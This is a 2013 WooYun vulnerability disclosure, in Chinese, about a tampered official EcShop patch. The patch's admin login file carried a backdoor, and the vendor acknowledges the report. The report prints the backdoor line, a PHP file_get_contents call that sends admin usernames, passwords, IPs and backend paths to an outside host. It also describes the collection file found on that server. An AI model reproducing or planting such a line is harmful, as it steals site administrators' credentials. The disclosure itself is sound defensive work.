当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-025145

漏洞标题：EcShop官方补丁存后门（非lib_base.php那个），反向分析到黑客服务器，已证明大量电商网站中招

相关厂商：ShopEx

漏洞作者： 路人甲

提交时间：2013-06-04 19:35

修复时间：2013-09-02 19:36

公开时间：2013-09-02 19:36

漏洞类型：地下0day/成功的入侵事件

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-06-04： 细节已通知厂商并且等待厂商处理中
2013-06-05： 厂商已经确认，细节仅向厂商公开
2013-06-08： 细节向第三方安全合作伙伴开放
2013-07-30： 细节向核心白帽子及相关领域专家公开
2013-08-09： 细节向普通白帽子公开
2013-08-19： 细节向实习白帽子公开
2013-09-02： 细节向公众公开

简要描述：

我们的网站ecshop有点二次开发，所以每次升级补丁都要对比下修改，结果这次对比发现了个大问题，官方的补丁文件内有段后门代码，目前来看应该是截订单的人留得，黑暗啊！
反向分析了后门源码，找到了黑客的服务器，目测已经大量电商沦陷，我的妈呀！Ecshop你叫我们小站长肿么办！！
求乌云救救我们！！

详细说明：

补丁是 273utf8_patch006 ，包我幸运的保留下来了，提供给乌云管理放到网盘给厂商和安全研究人员分析。

http://pan.baidu.com/share/link?shareid=3699376066&uk=456103769


问题出在 /admin/privilege.php 中（管理员身份验证文件），登录成功设置身份认证信息前，一个file_get_content函数，怪不得会绕过之前一些大牛们的分析。

stat privilege.php 
16777218 43425476 -rw-r--r-- 1 root root 0 25952 "Jun  4 19:16:09 2013" "May  6 14:18:36 2013" "Jun  4 18:59:14 2013" "May  6 14:18:36 2013" 4096 56 0 privilege.php
@file_get_contents('http://bbs.olyouxi.com/api/manyou/ecshop/w2.php?username='.$_POST['username'].'&password='.$_POST['password'].'---'.$_SERVER['REMOTE_ADDR'].'---'.date('Y-m-d|H:i:s').'---'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);
        // 登录成功
        set_admin_session($row['user_id'], $row['user_name'], $row['action_list'], $row['last_login']);

漏洞证明：

这个代码将管理员用户名、密码、IP、时间和后台地址等信息通通的发到远程接口上，http://bbs.olyouxi.com/api/manyou/ecshop/w2.php 。
这个地址直接访问没什么，当我访问 ecshop 这个目录的时候发现居然可以目录遍历，还有一个 ok.php文件

http://bbs.olyouxi.com/api/manyou/ecshop/


1.png


在访问一下ok.php我震惊了！！

http://bbs.olyouxi.com/api/manyou/ecshop/ok.php


2.jpg


就是这个后门所记录的那些数据，居然直接在这个文件里！受害人数扔在增长

3.jpg

修复方案：

还能说啥。。。求牛人搞定黑客神马的！
求乌云救救我们！！

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2013-06-05 09:34

厂商回复：

之前的补丁包也被同时篡改，新补丁中已全部处理。
非常感谢您为shopex信息安全做的贡献
谢谢

最新状态：

暂无

漏洞评价：

评论

  1. 2013-06-04 19:42 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者，关注web安全。)

    是昨天的补丁中的吗？

  2. 2013-06-04 19:43 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    @齐迹 乌云上重复的漏洞是不会通过的

  3. 2013-06-04 19:46 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者，关注web安全。)

    @疯狗 昨天官方高调发布的补丁，我的意思是 是不是这个补丁包里面有？

  4. 2013-06-04 20:24 | Z-0ne 认证白帽子 ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究，工业数据采集...)

    抢座围观

  5. 2013-06-04 20:48 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    @疯狗 你确定重复的不会通过？

  6. 2013-06-04 20:54 | iiiiiiiii ( 普通白帽子 | Rank:680 漏洞数:89 | )

    求详情

  7. 2013-06-04 21:09 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    不觉明历

  8. 2013-06-04 21:35 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    。。。我擦，这个必须1W的节奏啊。。

  9. 2013-06-04 21:37 | 小威 ( 普通白帽子 | Rank:492 漏洞数:76 | 活到老，学到老!)

    @围剿 不明觉厉 真为你的智商拙计

  10. 2013-06-04 21:42 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    神奇的路人甲

  11. 2013-06-04 22:02 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘，缘分写在数据库里面。)

    神奇路人甲

  12. 2013-06-04 22:13 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    每个神奇的路人甲，都会成为一个白帽子的

  13. 2013-06-04 22:43 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者，关注web安全。)

    我也去对比了2.7.3 utf和gbk 貌似没有发现可疑代码？好吧我只能承认技不如人了！

  14. 2013-06-04 23:26 | ksc ( 路人 | Rank:22 漏洞数:9 | 张三的好朋友)

    估计都下班了，明天才会看吧其实我想知道怎么留得后门

  15. 2013-06-04 23:33 | 脚本小伙 ( 实习白帽子 | Rank:52 漏洞数:15 | 小书童)

    我仔细看了 没有发现可疑代码！

  16. 2013-06-04 23:35 | lucass ( 路人 | Rank:2 漏洞数:3 | 小学毕业的孩纸)

    话说这ecshop 招谁惹谁了 ·······

  17. 2013-06-05 00:51 | 少校 ( 实习白帽子 | Rank:40 漏洞数:5 | 别开枪，自己人！)

    我日

  18. 2013-06-05 08:34 | Cr4zy ( 路人 | Rank:26 漏洞数:5 | 贫民)

    牛逼

  19. 2013-06-05 08:41 | 小乖 ( 路人 | Rank:21 漏洞数:6 | 这个家伙很懒，什么也没留下。)

    神奇路人甲

  20. 2013-06-05 09:08 | wodeman ( 路人 | Rank:0 漏洞数:1 | 民工一个)

    到底这个路人是WHO

  21. 2013-06-05 09:31 | khjian ( 普通白帽子 | Rank:133 漏洞数:64 | 网站程序员，项目经理，擅长asp,php,asp.ne...)

    靠，不会吧，牛掰！

  22. 2013-06-05 10:31 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    @小威 威哥 ，认真你就输了。

  23. 2013-06-05 11:41 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @齐迹 貌似是之前的，不过他这个后门位置不一样，而且有找到攻击者窃取内容的记录

  24. 2013-06-05 13:50 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者，关注web安全。)

    @xsser 刚才看到知道创宇他们公布了，我下载的版本中没有此后门，看来补丁被好几波黑阔改过！

  25. 2013-06-05 13:54 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    @齐迹 一大波黑阔路过，这几个版本补丁都分析下说不定还有惊喜。

  26. 2013-07-17 09:29 | 核攻击 ( 实习白帽子 | Rank:35 漏洞数:7 | 统治全球，奴役全人类！毁灭任何胆敢阻拦的...)

    太他娘的黑了……

  27. 2013-09-03 11:27 | 夜 ( 路人 | Rank:14 漏洞数:4 | 小夜，一个苦逼程序员)

    应该给一万啊！

  28. 2013-09-16 12:25 | 九九 ( 路人 | Rank:5 漏洞数:4 | 暂无。)

    洞主 麻烦把 ok.php的 数据分享下 好基友

  29. 2014-06-29 10:36 | 踩花大盗 ( 路人 | Rank:0 漏洞数:1 | 说点什么好呢)

    @小威 哈哈